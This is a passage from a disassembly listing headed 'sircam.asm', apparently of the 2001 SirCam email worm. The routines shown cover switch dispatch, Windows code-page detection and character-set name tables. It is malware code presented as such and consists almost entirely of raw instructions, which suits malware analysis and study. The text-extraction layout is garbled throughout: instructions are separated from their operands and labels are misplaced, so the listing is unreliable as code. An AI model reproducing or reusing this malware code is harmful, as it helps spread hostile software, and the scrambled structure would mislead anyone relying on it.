; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ED44:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0xf
eax, offset unk_41D200
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ED57:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x10
eax, offset unk_41D300
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ED6A:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x11
eax, offset unk_41D400
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ED7D:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x12
eax, offset unk_41D500
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ED90:
push
mov
mov
mov
call
locret_40EDA2:
sub_40EBC4
retn
endp
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x13
eax, offset unk_41D600
ecx, edx
edx, 7Fh
sub_40EB9C
; CODE XREF: sub_40EBC4+6\030j
; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
425
; Attributes: bp-based frame
sub_40EDA4
proc near
var_214
var_210
var_110
var_10
var_C
var_5
var_4
arg_0
=
=
=
=
=
=
=
=
; CODE XREF: sub_40F230+A1\031p
; sub_4118CC+EF\031p ...
dword ptr -214h
word ptr -210h
byte ptr -110h
dword ptr -10h
dword ptr -0Ch
byte ptr -5
dword ptr -4
dword ptr 8
push
mov
add
push
push
xor
mov
mov
mov
mov
mov
call
xor
push
push
push
mov
lea
mov
mov
call
lea
mov
mov
call
mov
call
mov
call
test
jle
mov
mov
ebp
ebp, esp
esp, 0FFFFFDECh
ebx
esi
ebx, ebx
[ebp+var_214], ebx
[ebp+var_5], cl
ebx, edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_40EE9C
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_110]
ecx, 7Fh
eax, ebx
sub_40EBC4
edx, [ebp+var_210]
ecx, 7Fh
al, [ebp+var_5]
sub_40EBC4
eax, [ebp+arg_0]
sub_4034C8
eax, [ebp+var_4]
sub_403724
eax, eax
short loc_40EE7B
[ebp+var_10], eax
[ebp+var_C], 1
mov
mov
mov
cmp
jbe
xor
mov
mov
mov
mov
lea
; CODE XREF: sub_40EDA4+D5\031j
eax, [ebp+var_4]
edx, [ebp+var_C]
bl, [eax+edx-1]
bl, 80h
short loc_40EE55
eax, eax
al, bl
si, [ebp+eax*2+var_210]
bl, 5Fh
edx, 80h
eax, [ebp+var_210]
loc_40EE18:
loc_40EE40:
; CODE XREF: sub_40EDA4+AF\031j
cmp
si, [eax]
jnz
short loc_40EE49
mov
ebx, edx
jmp
short loc_40EE55
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EE49:
; CODE XREF: sub_40EDA4+9F\030j
sircam.asm
Fri Aug 10 12:42:44 2001
inc
add
cmp
jnz
edx
eax, 2
edx, 100h
short loc_40EE40
lea
mov
call
mov
mov
call
mov
inc
dec
jnz
; CODE XREF: sub_40EDA4+81\030j
; sub_40EDA4+A3\030j
eax, [ebp+var_214]
edx, ebx
sub_403670
edx, [ebp+var_214]
eax, [ebp+arg_0]
sub_40372C
eax, [ebp+arg_0]
[ebp+var_C]
[ebp+var_10]
short loc_40EE18
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40EDA4+68\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40EEA3
loc_40EE55:
loc_40EE7B:
loc_40EE88:
sub_40EDA4
426
; CODE XREF: CODE:0040EEA1\031j
lea
eax, [ebp+var_214]
call
sub_4034C8
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -224h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EE9C:
; DATA XREF: sub_40EDA4+26\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40EE88
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EEA3:
; DATA XREF: sub_40EDA4+DF\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40EEAC
proc near
call
mov
cmp
jnz
mov
j_GetACP
dl, 0Ch
eax, 4E2h
short loc_40EEBC
dl, 0Ah
cmp
jnz
mov
eax, 4E3h
short loc_40EEC5
dl, 0Bh
cmp
jnz
eax, 4E5h
short loc_40EECE
; CODE XREF: sub_411838+39\031p
; sub_412240+2D\031p ...
loc_40EEBC:
; CODE XREF: sub_40EEAC+C\030j
loc_40EEC5:
; CODE XREF: sub_40EEAC+15\030j
sircam.asm
Fri Aug 10 12:42:44 2001
mov
dl, 0Dh
cmp
jnz
mov
eax, 4E6h
short loc_40EED7
dl, 0Eh
cmp
jnz
mov
eax, 4E7h
short loc_40EEE0
dl, 0Fh
cmp
jnz
mov
eax, 4E8h
short loc_40EEE9
dl, 10h
cmp
jnz
mov
eax, 4E9h
short loc_40EEF2
dl, 11h
cmp
jnz
mov
eax, 4EAh
short loc_40EEFB
dl, 12h
mov
retn
endp
eax, edx
loc_40EECE:
; CODE XREF: sub_40EEAC+1E\030j
loc_40EED7:
; CODE XREF: sub_40EEAC+27\030j
loc_40EEE0:
; CODE XREF: sub_40EEAC+30\030j
loc_40EEE9:
; CODE XREF: sub_40EEAC+39\030j
loc_40EEF2:
; CODE XREF: sub_40EEAC+42\030j
loc_40EEFB:
sub_40EEAC
427
; CODE XREF: sub_40EEAC+4B\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40EF00
proc near
; CODE XREF: sub_4118CC+2F5\031p
; sub_412048+B6\031p
push
ebx
mov
ebx, edx
and
eax, 7Fh
cmp
eax, 13h
; switch 20 cases
ja
loc_40F070
; default
jmp
ds:off_40EF16[eax*4] ; switch jump
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_40EF16
dd offset loc_40F070
; DATA XREF: sub_40EF00+F\030r
dd offset loc_40EF66
; jump table for switch statement
dd offset loc_40EF74
dd offset loc_40EF82
dd offset loc_40EF90
dd offset loc_40EF9E
dd offset loc_40EFAC
dd offset loc_40EFBA
dd offset loc_40EFC8
dd offset loc_40EFD6
dd offset loc_40EFE4
dd offset loc_40EFF2
dd offset loc_40F000
dd offset loc_40F00E
dd offset loc_40F01C
dd offset loc_40F02A
dd offset loc_40F038
dd offset loc_40F046
dd offset loc_40F054
dd offset loc_40F062
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EF66:
; CODE XREF: sub_40EF00+F\030j
sircam.asm
Fri Aug 10 12:42:44 2001
428
; DATA XREF: sub_40EF00+16\030o
mov
eax, ebx
; case 0x1
mov
edx, offset dword_40F088
call
sub_40351C
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EF74:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x2
edx, offset dword_40F09C
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EF82:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x3
edx, offset dword_40F0B0
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EF90:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x4
edx, offset dword_40F0C4
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EF9E:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x5
edx, offset dword_40F0D8
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EFAC:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x6
edx, offset dword_40F0EC
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EFBA:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x7
edx, offset dword_40F100
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EFC8:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x8
edx, offset dword_40F114
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40EFD6:
429
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x9
edx, offset dword_40F128
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EFE4:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0xa
edx, offset dword_40F13C
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EFF2:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0xb
edx, offset dword_40F154
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F000:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0xc
edx, offset dword_40F16C
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F00E:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0xd
edx, offset dword_40F184
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F01C:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0xe
edx, offset dword_40F19C
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F02A:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0xf
edx, offset dword_40F1B4
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F038:
mov
mov
call
pop
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x10
edx, offset dword_40F1CC
sub_40351C
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
430
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F046:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x11
edx, offset dword_40F1E4
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F054:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x12
edx, offset dword_40F1FC
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F062:
; CODE XREF: sub_40EF00+F\030j
; DATA XREF: sub_40EF00+16\030o
eax, ebx
; case 0x13
edx, offset dword_40F214
sub_40351C
ebx
mov
mov
call
pop
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F070:
sub_40EF00
mov
mov
call
pop
retn
endp
; CODE XREF: sub_40EF00+9\030j
; sub_40EF00+F\030j
; DATA XREF: ...
eax, ebx
; default
edx, offset dword_40F224
sub_40351C
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 0Ah
dword_40F088
dd 2D4F5349h, 39353838h, 322Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+6
8\030o
dword_40F09C
dd 2D4F5349h, 39353838h, 332Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+7
6\030o
dword_40F0B0
dd 2D4F5349h, 39353838h, 342Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+8
4\030o
dword_40F0C4
dd 2D4F5349h, 39353838h, 352Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+9
2\030o
dword_40F0D8
dd 2D4F5349h, 39353838h, 362Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+A
0\030o
dword_40F0EC
dd 2D4F5349h, 39353838h, 372Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+A
E\030o
dword_40F100
dd 2D4F5349h, 39353838h, 382Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+B
C\030o
dword_40F114
dd 2D4F5349h, 39353838h, 392Dh, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_40EF00+C
A\030o
dword_40F128
dd 2D4F5349h, 39353838h, 30312Dh, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_40EF00+D8\030o
dword_40F13C
dd 444E4957h, 2D53574Fh, 30353231h, 0, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_40EF00+E6\030o
dword_40F154
dd 444E4957h, 2D53574Fh, 31353231h, 0, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_40EF00+F4\030o
dword_40F16C
dd 444E4957h, 2D53574Fh, 32353231h, 0, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_40EF00+102\030o
dword_40F184
dd 444E4957h, 2D53574Fh, 33353231h, 0, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_40EF00+110\030o
dword_40F19C
dd 444E4957h, 2D53574Fh, 34353231h, 0, 0FFFFFFFFh, 0Ch
sircam.asm
dword_40F1B4
dword_40F1CC
dword_40F1E4
dword_40F1FC
dword_40F214
dword_40F224
Fri Aug 10 12:42:44 2001
431
; DATA XREF: sub_40EF00+11E\030o
dd 444E4957h, 2D53574Fh, 35353231h, 0, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_40EF00+12C\030o
dd 444E4957h, 2D53574Fh, 36353231h, 0, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_40EF00+13A\030o
dd 444E4957h, 2D53574Fh, 37353231h, 0, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_40EF00+148\030o
dd 444E4957h, 2D53574Fh, 38353231h, 0, 0FFFFFFFFh, 6
; DATA XREF: sub_40EF00+156\030o
dd 38494F4Bh, 522Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+164\030o
dd 2D4F5349h, 39353838h, 312Dh ; DATA XREF: sub_40EF00+172\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40F230
proc near
var_1C
var_18
var_14
var_10
var_A
var_9
var_5
var_4
=
=
=
=
=
=
=
=
; CODE XREF: sub_412240+3D\031p
; sub_412620+75\031p
dword ptr -1Ch
dword ptr -18h
dword ptr -14h
dword ptr -10h
byte ptr -0Ah
dword ptr -9
byte ptr -5
dword ptr -4
push
mov
add
push
push
push
xor
mov
mov
mov
mov
mov
mov
mov
call
xor
push
push
push
mov
mov
lea
call
mov
call
mov
test
jle
mov
ebp
ebp, esp
esp, 0FFFFFFE4h
ebx
esi
edi
ebx, ebx
[ebp+var_1C], ebx
[ebp+var_14], ebx
[ebp+var_18], ebx
[ebp+var_9], ecx
[ebp+var_5], dl
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_40F334
dword ptr fs:[eax]
fs:[eax], esp
[ebp+var_A], 0
eax, [ebp+var_14]
sub_4034C8
eax, [ebp+var_4]
sub_403724
ebx, eax
ebx, ebx
short loc_40F2AB
esi, 1
mov
mov
cmp
jbe
lea
mov
mov
call
mov
lea
call
; CODE XREF: sub_40F230+79\031j
eax, [ebp+var_4]
al, [eax+esi-1]
al, 7Fh
short loc_40F2A7
eax, [ebp+var_1C]
edx, [ebp+var_4]
dl, [edx+esi-1]
sub_403670
edx, [ebp+var_1C]
eax, [ebp+var_14]
sub_40372C
loc_40F282:
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40F2A7:
432
; CODE XREF: sub_40F230+5B\030j
inc
dec
jnz
esi
ebx
short loc_40F282
mov
xor
; CODE XREF: sub_40F230+4B\030j
[ebp+var_10], 80h
esi, esi
mov
mov
cmp
ja
and
bt
ebx, esi
eax, ebx
al, 1Fh
short loc_40F2C3
eax, 7Fh
[ebp+var_9], eax
jnb
lea
push
mov
mov
mov
call
xor
mov
call
mov
test
jle
mov
; CODE XREF: sub_40F230+8A\030j
short loc_40F30B
eax, [ebp+var_18]
eax
ecx, ebx
dl, [ebp+var_5]
eax, [ebp+var_14]
sub_40EDA4
edi, edi
eax, [ebp+var_18]
sub_403724
ebx, eax
ebx, ebx
short loc_40F2FA
eax, 1
mov
cmp
jnz
inc
; CODE XREF: sub_40F230+C8\031j
edx, [ebp+var_18]
byte ptr [edx+eax-1], 5Fh
short loc_40F2F6
edi
inc
dec
jnz
eax
ebx
short loc_40F2EB
cmp
jge
mov
mov
mov
test
jz
; CODE XREF: sub_40F230+B4\030j
edi, [ebp+var_10]
short loc_40F30B
[ebp+var_10], edi
eax, esi
[ebp+var_A], al
edi, edi
short loc_40F311
loc_40F2AB:
loc_40F2B4:
; CODE XREF: sub_40F230+DF\031j
loc_40F2C3:
loc_40F2EB:
loc_40F2F6:
; CODE XREF: sub_40F230+C3\030j
loc_40F2FA:
loc_40F30B:
; CODE XREF: sub_40F230+93\030j
; sub_40F230+CD\030j
inc
cmp
jnz
esi
esi, 14h
short loc_40F2B4
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40F230+D9\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40F33B
lea
; CODE XREF: CODE:0040F339\031j
eax, [ebp+var_1C]
loc_40F311:
loc_40F31E:
sircam.asm
sub_40F230
Fri Aug 10 12:42:44 2001
433
mov
edx, 3
call
sub_4034EC
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -34h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F334:
; DATA XREF: sub_40F230+28\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40F31E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F33B:
; DATA XREF: sub_40F230+E9\030o
mov
al, [ebp-0Ah]
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
